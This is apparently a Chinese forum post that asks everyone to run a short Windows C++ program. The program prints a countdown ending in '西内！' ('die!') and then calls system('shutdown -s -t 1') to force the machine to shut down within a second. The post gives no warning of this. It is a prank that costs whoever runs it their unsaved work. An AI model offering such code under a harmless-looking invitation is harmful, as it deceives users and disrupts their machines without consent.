大家都来运行一下

#include<bits/stdc++.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
using namespace std;
int main(){
	cout<<"你";
	Sleep(500);
	cout<<"准备";
	Sleep(500);
	cout<<"好了吗？";
	Sleep(500);
	cout<<"3";
	Sleep(500);
	cout<<"2";
	Sleep(500);
	cout<<"1";
	Sleep(500);
	cout<<"西内！";
	system("shutdown -s -t 1");
	return 0;
}